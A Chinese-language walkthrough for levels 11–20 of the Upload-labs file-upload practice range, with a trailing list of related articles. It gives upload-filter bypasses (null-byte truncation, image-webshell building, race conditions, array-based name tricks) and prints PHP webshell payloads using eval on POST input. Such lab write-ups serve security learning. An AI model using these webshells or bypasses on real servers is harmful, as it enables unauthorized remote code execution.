Upload-labs 文件上传靶场通关攻略(下)
Upload-Labs靶场攻略(下)
Pass-11
GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传
Pass-12
POST型传参,上传目录可设置,POST型会不会进行URL编码,所以在/upload/后添加1.php%00,并且将%00用URL进行编码。编码后为空白符号,即可上传
Pass-13
文件包含,上传图片码1.jpg,利用文件包含将JPG内容当作PHP进行解析
生成图片码命令
copy 1.jpg /b + 1.php /a 2.jpg 192.168.28.128/uploadlab/include.php?file=upload/1420210717064745.png
Pass-14
同第13关
Pass-15
同14关
Pass-16
二次渲染,依旧上传图片码,找到未被渲染的位置,用C32将一句话木马插入。依旧上传,采用文件包含即可。
Pass-17
条件竞争,服务器端将上传的文件进行先保存再判断,如果正确则重命名,否则删除。
通过爆破持续上传,然后通过访问,生成新的木马文件。
上传的木马如下:
<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST[123]) ?>’);
?>
上传后进行爆破访问,生成webshell.php即为后门文件
Pass-18
图片马加条件竞争,先上传图片马,然后通过文件包含访问图片马,生产Webshell文件
Pass-19
%00截断,方法同Pass-12
Pass-20
进行代码审计,类似CTF
MIME首先得是image/png、image/gif、image/jpg
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
会根据.将$file先转化为小写再打散成数组。
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}
会对数组中最后一个值进行判断是否是jpg,png,gif结尾
$file_name = reset($file) . '.' . $file[count($file) - 1];
将数组的第一个值和倒数第二个值进行拼接。
所以我们考虑数组的最后一个值必须是jpg,第一个和第二个值还需要再考虑
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
}
这边可以看到将临时文件存储再img_path,所以img_path其实可以根据传入的save_name[]数组进行操控。
而move_uploaded_file在执行的时候会忽略末尾的/.,所以根据拼接
save_name[0]=web.php/
save_name[1]为空
save_name[2]=jpg
注意POST上传改包的数据包型式即可。
总结:文件上传的种类和手法:
1.前端JS验证:禁用JS,Burp抓包修改
2.只检查Content-type,修改MIME
3.黑名单绕过:爆破尾缀
4.系统配置文件重写,.htaccess,.nginx
5.大小写绕过、尾缀添加点,空格,下划线绕过,添加::$DATA
6.过滤敏感词汇使用双写绕过
7.上传目录可控可以使用00截断,GET传参不需要编码,POST需要进行编码成为空白
8.存在文件包含漏洞可上传图片马,进行包含
9.条件竞争是服务器处理上的逻辑漏洞,需要爆破上传和爆破访问
10.代码审计需要理清楚一步一步的上传逻辑
Upload-labs 文件上传靶场通关攻略(下)的更多相关文章
- Upload-labs 文件上传靶场通关攻略(上)
Upload-labs 文件上传靶场通关攻略(上) 文件上传是Web网页中常见的功能之一,通常情况下恶意的文件上传,会形成漏洞. 逻辑是这样的:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指 ...
- Web文件上传靶场 - 通关笔记
Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...
- DVWA靶场之File Upload(文件上传)通关
Low: <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_pa ...
- 【DVWA】File Upload(文件上传漏洞)通关教程
日期:2019-08-01 17:28:33 更新: 作者:Bay0net 介绍: 0x01. 漏洞介绍 在渗透测试过程中,能够快速获取服务器权限的一个办法. 如果开发者对上传的内容过滤的不严,那么就 ...
- upload.php --->文件上传
<?php header("Content-type:text/html;charset=utf-8"); print_r($_FILES['file']); $filena ...
- PHP系列 | Thinkphp3.2 上传七牛 bad token 问题 [ layui.upload 图片/文件上传]
前端代码 <div class="logo_out" id="upload-logo"></div> JS代码 /** * 上传图片 * ...
- DVWA全级别之File Upload(文件上传)
File Upload File Upload,即文件上传漏洞,通常是由于对上传文件的类型.内容没有进行严格的过滤.检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带 ...
- File Upload(文件上传)
一句话木马 <?php @eval($_POST['key']); ?> /*eval(phpcode) eval() 函数把字符串按照 PHP 代码来计算. 该字符串必须是合法的 PHP ...
- 从本地向 Github 上传项目步骤攻略(快速上手版)
最近想把之前自己做的一些好玩的项目共享到Github,网上找了一圈上传教程,都感觉写的太深奥.复杂,云里雾里,特把自己的方法纪录如下: PS:这种方式一般适用于:开始做项目时,没有直接在github上 ...
随机推荐
- 从零实操基于WSL2 Docker部署Asp.Net Core项目
前言 平日在公司里都是基于阿里Teambition中的飞流进行Docker部署Api项目或服务,已经习惯了那一套成熟的操作流程,开发和部署确实快捷方便,但是还没在自己的电脑上进行操作过,特别是Wind ...
- NUC980 运行 RT-Thread 驱动 SPI 接口 OLED 播放 badapple
badapple 是什么,上网随便查了下,没看出个究竟,不过有个关于这个挺火的标签或者主题 < 有屏幕的地方就有 badapple >,网上有很多人用很多方式播放 badapple 动画, ...
- “限时分享“ 本地80个小游戏 HTML+CSS+JS源码分享
里面有80款小游戏源码,支持内置导航,可以拿来练手或者消磨时间,具体功能以及游戏请看下图 维京战争小游戏源码 链接:https://pan.baidu.com/s/ ...
- gitlab 设置tag保护及取消tag保护功能
用gitlab管理员登录系统 进入项目->设置->Repository 设置项目的Tag保护 效果展示 取消Tag保护 效果展示
- ubuntu docker开启2375端口,支持远程访问
1.编辑docker文件:/usr/lib/systemd/system/docker.service vi /usr/lib/systemd/system/docker.service 2.Exec ...
- python字典和列表使用
一.字典中健值为列表或字典 1 a.setdefault(key,[]).append(b)--键值是列表 2 a.setdefault(key,{}).append(b)--键值是字典 二.键值为列 ...
- leetcode TOP100 比特位计数
338. 比特位计数 题目描述: `给定一个非负整数 num.对于 0 ≤ i ≤ num 范围中的每个数字 i ,计算其二进制数中的 1 的数目并将它们作为数组返回. 示例 1: 输入: 2 输出: ...
- Spring中如何使用自定义注解搭配@Import引入内外部配置并完成某一功能的启用
文章背景 有一个封装 RocketMq 的 client 的需求,用来提供给各项目收.发消息,但是项目当中常常只使用收或者发消息的单一功能,而且不同的项目 group 等并不相同而且不会变化,可以在项 ...
- 今日英语 词组——come together
come together 1. 解释含义 词面意思 一起过来 实际意义:重归于好,汇集 英英释义:if two or more different people or things come tog ...
- iframe跨域访问出现的cookie问题,提供两种解决方案
最近在java项目对接时出现的一个问题.A系统嵌入B系统页面时,使用iframe去嵌入B系统页面丢失sessionid,导致B系统认为是未进行登录的请求,从而跳转到了B系统登录页. 解决方法查看此博客 ...